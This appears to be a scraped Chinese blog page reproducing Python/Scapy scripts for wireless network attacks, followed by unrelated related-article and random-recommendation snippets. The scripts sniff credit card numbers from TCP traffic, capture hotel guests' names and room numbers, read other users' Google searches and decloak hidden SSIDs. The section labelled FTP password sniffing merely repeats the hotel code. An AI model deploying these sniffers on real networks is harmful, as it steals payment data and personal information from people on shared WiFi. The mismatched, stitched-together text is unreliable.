PyWifl 模块寻找wifi来源

# -*- coding: UTF-8 -*-
import pywifi def bies():
wifi=pywifi.PyWiFi()#创建一个无限对象
ifaces=wifi.interfaces()[0]#取一个无线网卡
ifaces.scan()#扫描
bessis=ifaces.scan_results()
for i in range(len(bessis)):
print(bessis[i].ssid, bessis[i].signal) bies()

Wifl 侦听模块

import os
from scapy.all import * iface = "en0" os.system("/usr/sbin/iwconfig " + iface + " mode monitor") # Dump packets that are not beacons, probe request / responses
def dump_packet(pkt):
if not pkt.haslayer(Dot11Beacon) and \
not pkt.haslayer(Dot11ProbeReq) and \
not pkt.haslayer(Dot11ProbeResp):
print(pkt.summary()) if pkt.haslayer(Raw):
print(hexdump(pkt.load))
print("\n") while True:
for channel in range(1, 14):
os.system("/usr/sbin/iwconfig " + iface + \
" channel " + str(channel))
print("Sniffing on channel " + str(channel)) sniff(iface=iface,
prn=dump_packet,
count=10,
timeout=3,
store=0)

用Scapy测试无线网卡的嗅探功能

测试嗅探无线网络的代码

#!/usr/bin/python
#coding=utf-8
from scapy.all import * def pktPrint(pkt):
if pkt.haslayer(Dot11Beacon):
print '[+] Detected 802.11 Beacon Frame'
elif pkt.haslayer(Dot11ProbeReq):
print '[+] Detected 802.11 Probe Request Frame'
elif pkt.haslayer(TCP):
print '[+] Detected a TCP Packet'
elif pkt.haslayer(DNS):
print '[+] Detected a DNS Packet' conf.iface = 'wlan0mon'
sniff(prn=pktPrint)

使用Python正则表达式嗅探信用卡信息

3种常用的信用卡:Visa、MasterCard和American Express。

#!/usr/bin/python
#coding=utf-8
import re def findCreditCard(raw):
# American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)
if americaRE:
print '[+] Found American Express Card: ' + americaRE[0] def main():
tests = []
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')
for test in tests:
findCreditCard(test) if __name__ == '__main__':
main()

接着就加入Scapy来嗅探TCP数据包实现嗅探功能:

#!/usr/bin/python
#coding=utf-8
import re
import optparse
from scapy.all import * def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%')
# American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)
# MasterCard信用卡的开头为51~55,共16位数字
masterRE = re.findall('5[1-5][0-9]{14}', raw)
# Visa信用卡开头数字为4,长度为13或16位
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) if americaRE:
print '[+] Found American Express Card: ' + americaRE[0]
if masterRE:
print '[+] Found MasterCard Card: ' + masterRE[0]
if visaRE:
print '[+] Found Visa Card: ' + visaRE[0] def main():
parser = optparse.OptionParser('[*]Usage: python creditSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Credit Card Sniffer.'
sniff(filter='tcp', prn=findCreditCard, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()

嗅探宾馆住客

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0]) + ', Room #' + str(room[0]) def main():
parser = optparse.OptionParser('[*]Usage: python hotelSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Hotel Guest Sniffer.'
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()

编写谷歌键盘记录器:

Google搜索,由“q=”开始,中间是要搜索的字符串,并以“&”终止,字符“pg=”后接的是上一个搜索的内容。

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')
print '[+] Searched For: ' + search def main():
parser = optparse.OptionParser('[*]Usage: python googleSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Google Sniffer.'
sniff(filter='tcp port 80', prn=findGoogle)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()

嗅探FTP登录口令:

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0]) + ', Room #' + str(room[0]) def main():
parser = optparse.OptionParser('[*]Usage: python hotelSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Hotel Guest Sniffer.'
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()

侦听无线 802.11 Probe请求

#!/usr/bin/python
#utf-8
from scapy.all import * interface = 'wlan0mon'
probeReqs = [] def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print '[+] Detected New Probe Request: ' + netName sniff(iface=interface, prn=sniffProbe)

寻找隐藏网络的802.11信标

def sniffDot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: with MAC:' + addr2
hiddenNets.append(addr2)

找出隐藏的802.11网络的网络名

#!/usr/bin/python
#coding=utf-8
import sys
from scapy import * interface = 'wlan0mon'
hiddenNets = []
unhiddenNets = [] def sniffDot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
netName = p.getlayer(Dot11ProbeResp).info
print '[+] Decloaked Hidden SSID : ' + netName + ' for MAC: ' + addr2
unhiddenNets.append(addr2) if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: with MAC:' + addr2
hiddenNets.append(addr2) sniff(iface=interface, prn=sniffDot11)

《Python绝技:运用Python成为顶级黑客》 用Python进行无线网络攻击的更多相关文章

  1. 《Python绝技:运用Python成为顶级黑客》 Python实用小工具

    1.实现简单探测 使用socket模块,connect()方法建立与指定IP和端口的网络连接:revc(1024)方法将读取套接字中接下来的1024B数据 mport socket import sy ...

  2. python绝技:运用python成为顶级黑客|中文pdf完整版[42MB|网盘地址附提取码自行提取|

    Python 是一门常用的编程语言,它不仅上手容易,而且还拥有丰富的支持库.对经常需要针对自己所 处的特定场景编写专用工具的黑客.计算机犯罪调查人员.渗透测试师和安全工程师来说,Python 的这些 ...

  3. Python 绝技 —— TCP服务器与客户端

    i春秋作家:wasrehpic 0×00 前言 「网络」一直以来都是黑客最热衷的竞技场.数据在网络中肆意传播:主机扫描.代码注入.网络嗅探.数据篡改重放.拒绝服务攻击……黑客的功底越深厚,能做的就越多 ...

  4. Python 绝技 —— UDP 服务器与客户端

    i春秋作家:wasrehpic 0x00 前言 在上一篇文章「Python 绝技 —— TCP 服务器与客户端」中,介绍了传输层的核心协议 TCP ,并运用 Python 脚本的 socket 模块演 ...

  5. Python爆火的原因与未来|内附Python学习书籍大礼包无偿领取|

    从12年到20年,python以肉眼可见的趋势超过了java,成为了当今It界人人皆知的编程语言. python为什么这么火? 网络编程语言搜索指数 适合初学者 Python具有语法简单.语句清晰的特 ...

  6. Python高手之路【一】初识python

    Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...

  7. 跟着老男孩教育学Python开发【第一篇】:初识Python

    Python简介 Python前世今生 Python的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解 ...

  8. 【Python五篇慢慢弹】数据结构看python

    数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  9. python之最强王者(2)——python基础语法

    背景介绍:由于本人一直做java开发,也是从txt开始写hello,world,使用javac命令编译,一直到使用myeclipse,其中的道理和辛酸都懂(请容许我擦干眼角的泪水),所以对于pytho ...

  10. Python之路3【第一篇】Python基础

    本节内容 Python简介 Python安装 第一个Python程序 编程语言的分类 Python简介 1.Python的由来 python的创始人为吉多·范罗苏姆(Guido van Rossum) ...

随机推荐

  1. centos7 nginx 加入开机启动

    设置nginx开机启动 vi /etc/rc.d/init.d/nginx  #编辑启动文件添加下面内容 ############################################### ...

  2. Android中px, ppi, dpi, dp, dip, sp概念解析

    Android中px, ppi, dpi, dp, dip, sp概念解析

  3. 2018.08.16 洛谷P2029 跳舞(线性dp)

    传送门 简单的线性dp" role="presentation" style="position: relative;">dpdp. 直接推一推 ...

  4. Python特殊方法

    # __slots__如果要限制添加的属性,例如,Student类只允许添加 name.gender和score 这3个属性,就可以利用Python的一个特殊的__slots__来实现. # __sl ...

  5. UVa 12174 Shuffle (滑动窗口)

    题意:你正在使用的音乐播放器有一个所谓的乱序播放功能,即随机打乱歌曲的播放顺序.假设一共有s首歌, 则一开始会给这s首歌随机排序,全部播放完毕后再重新随机排序.继续播放,依次类推.注意,当s首歌播放完 ...

  6. 如何设置vim中tab键缩进---配置初始化设置

    转载自:http://blog.51cto.com/xuding/1725376:加了一些补充说明 问题: Linux系统下,Tab键默认为8个字符,需呀将其修改为4个字符的方式使用 步骤: 1.在用 ...

  7. 简单的Java,Python,C,C++

    Java 语言 //package main //注意不要添加包名称,否则会报错. import java.io.*; import java.util.*; cin.hasNext(); cin.h ...

  8. ACL授权实例

    上一篇关于ACL的文章中:位运算实现ACL授权与认证过程的原理解析,我们学习了通过位运算实现ACL授权与认证的原理核心,今天我们一起来看授权的实例. 实现的功能很简单:打开授权界面时,加载已授权信息. ...

  9. springMVC ModelAndView 作用与功能解析 【转】

    Spring mvc视图机制 所有的web应用的mvc框架都有它定位视图的方式.Spring提供了视图解析器供你在浏览器中显示模型数据,而不必被拘束在特定的视图技术上. Spring的控制器Contr ...

  10. Android-天气预报Demo-JSON数据解析

    在上两篇博客,Android-解析JSON数据(JSON对象/JSON数组),Android-Gson解析JSON数据(JSON对象/JSON数组),是介绍了解析本地文件里面的JSON数据: Andr ...